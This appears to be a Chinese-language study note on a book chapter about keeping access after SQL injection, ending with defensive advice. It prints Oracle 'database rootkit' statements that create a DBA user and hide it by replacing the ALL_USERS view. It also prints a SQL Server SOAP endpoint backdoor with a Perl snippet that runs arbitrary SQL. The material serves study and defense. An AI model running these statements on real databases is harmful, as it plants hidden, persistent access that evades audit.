SQL注入与防御-第六章-3:利用操作系统--巩固访问

一、核心逻辑与价值

"巩固访问" 是 SQL 注入攻击的持久化控制阶段,通过篡改数据库权限、植入隐蔽后门(如 "数据库 rootkit" )、利用系统组件(如 SQL Server SOAP 端点 ),实现对数据库及关联服务器的长期控制,绕过常规防御检测,扩大攻击影响。

二、技术实现与典型场景

(一)数据库 Rootkit 植入(以 Oracle 为例)

1. 原理

通过篡改数据库元数据、系统视图,隐藏恶意用户、权限或操作,类似操作系统 Rootkit 对系统进程、文件的隐藏,使攻击行为长期潜伏。

2. 实施步骤(示例代码)

sql 复制代码
- 1. 创建隐蔽用户(需 DBA 权限)
GRANT DBA TO hidden IDENTIFIED BY hidden_2009;
-- 2. 禁用多进程(干扰系统审计)
SELECT sys.kupp$proc.disable_multiprocess FROM dual;
-- 3. 篡改用户标识(伪装为 SYS 用户)
SQL> exec sys.kupp$proc.change_user('SYS');
-- 4. 隐藏用户(修改系统视图过滤条件)
UPDATE sys.users SET temp#='666' WHERE name='HIDDEN';
-- 5. 创建伪造视图(从 ALL_USERS/DBA_USERS 中隐藏恶意用户)
CREATE OR REPLACE FORCE VIEW "SYS"."ALL_USERS" ("USERNAME", "USER_ID", "CREATED") AS
SELECT u.name, u.user# , u.ctime
FROM sys.user$ u, sys.ts$ dts, sys.ts$ tts
WHERE u.datats# = dts.ts#
AND u.tempts# = tts.ts#
AND u.type != 1 -- 过滤恶意用户类型
AND u.temp# != '666'; -- 过滤标记用户

3. 防御难点

  • 直接篡改系统表 / 视图,突破常规权限审计;
  • 依赖数据库高权限(如 DBA ),攻击成功后难以追溯。

(二)利用 SQL Server SOAP 端点持久化控制

1. 原理

通过 CREATE ENDPOINT 命令创建 SOAP 端点,将 SQL 执行能力绑定到 HTTP 服务,实现跨协议控制(从数据库注入延伸到 Web 服务接口 ),绕过传统数据库防御。

2. 实施步骤(示例代码)

sql 复制代码
- 创建 SOAP 端点(需高权限,如 sysadmin )
EXEC ('CREATE ENDPOINT ep2 STATE=STARTED AS HTTP
( PATH = ''/sp'', PORTS=(CLEAR), AUTHENTICATION=(INTEGRATED) )
FOR SOAP (BATCHES=ENABLED)');
-- 通过 SOAP 端点执行任意 SQL(示例:篡改 Web 页面)
-- 构造 Perl SOAP 请求(简化示例)
use SOAP::Lite;
my $soap = SOAP::Lite->uri('http://schemas.microsoft.com/sql/2004/08/server');
my $result = $soap->Execute( SOAP::Data->name('sql' => 'UPDATE test SET content = ''Hacked'' WHERE id=1')
)->result;

3. 攻击链扩展

  • 绑定到 IIS 同一内核组件(http.sys ),利用 SQL Server 高权限篡改 Web 内容;
  • 结合 sqlbatch 方法,通过 SOAP 远程执行 T-SQL 语句,实现命令执行、权限维持。

(三)主流数据库 Rootkit 与防御启示

1. 典型工具与案例

  • SQL Server :利用 http.sys 暴露 SOAP 端点,创建隐蔽通信通道;
  • Oracle :通过修改 ALL_USERS DBA_USERS 视图隐藏用户,结合 sys.kupp$proc 篡改系统状态;
  • 历史案例:Chris Anley 的 "三字节补丁"(反转条件跳转逻辑禁用系统验证 )、Alexander Kornbrust 揭露的数据库 Rootkit 家族。

2. 防御思路

  • 元数据审计 :定期检查系统表(如 sys.users ALL_USERS )、视图的异常变更,对比官方 schema 哈希;
  • 功能限制 :禁用不必要的数据库功能(如 CREATE ENDPOINT sys.kupp$proc ),最小化攻击面;
  • 行为监控 :通过数据库审计工具(如 SQL Server Audit、Oracle Audit Vault )追踪高权限操作(如 GRANT DBA CREATE VIEW )。

三、总结

"巩固访问" 是 SQL 注入攻击的持久化阶段 ,利用数据库 Rootkit、系统组件扩展(如 SOAP 端点 ),实现长期控制与隐蔽渗透。防御需聚焦元数据审计、功能最小化、行为监控,切断攻击的持久化链路。此类攻击依赖高权限,因此权限收缩与实时审计是核心防御手段。

相关推荐
向夏威夷 梦断明暄29 分钟前
基于Tez引擎的 Hive SQL 性能优化
hive·sql·性能优化
学逆向的12 小时前
汇编——JCC指令
开发语言·汇编·网络安全
跟着珅聪学java13 小时前
MERGE INTO开发教程
sql
这个DBA有点耶14 小时前
交易型数据库是什么?OLTP核心能力与2026选型指南
数据库·数据仓库·sql·database·数据库架构·olap·dba
腾霄星月17 小时前
Cobalt Strike(CS)内网渗透工具核心重点知识总结
网络安全·cs·cobalt strike
提笔了无痕18 小时前
MySQL SQL 从 EXPLAIN 到索引优化,搞懂 SQL 为什么慢
android·sql·mysql
辰同学ovo20 小时前
从一条 SQL 到三个原则:MySQL 心智模型
sql·mysql·adb
网安墨雨1 天前
MySQL数据库 SQL语句详解
自动化测试·软件测试·数据库·python·sql·mysql
一个天蝎座 白勺 程序猿1 天前
复盘之我在金仓生产环境踩过的SQL暗坑,和攒了六年的编码规矩
数据库·sql·kingbasees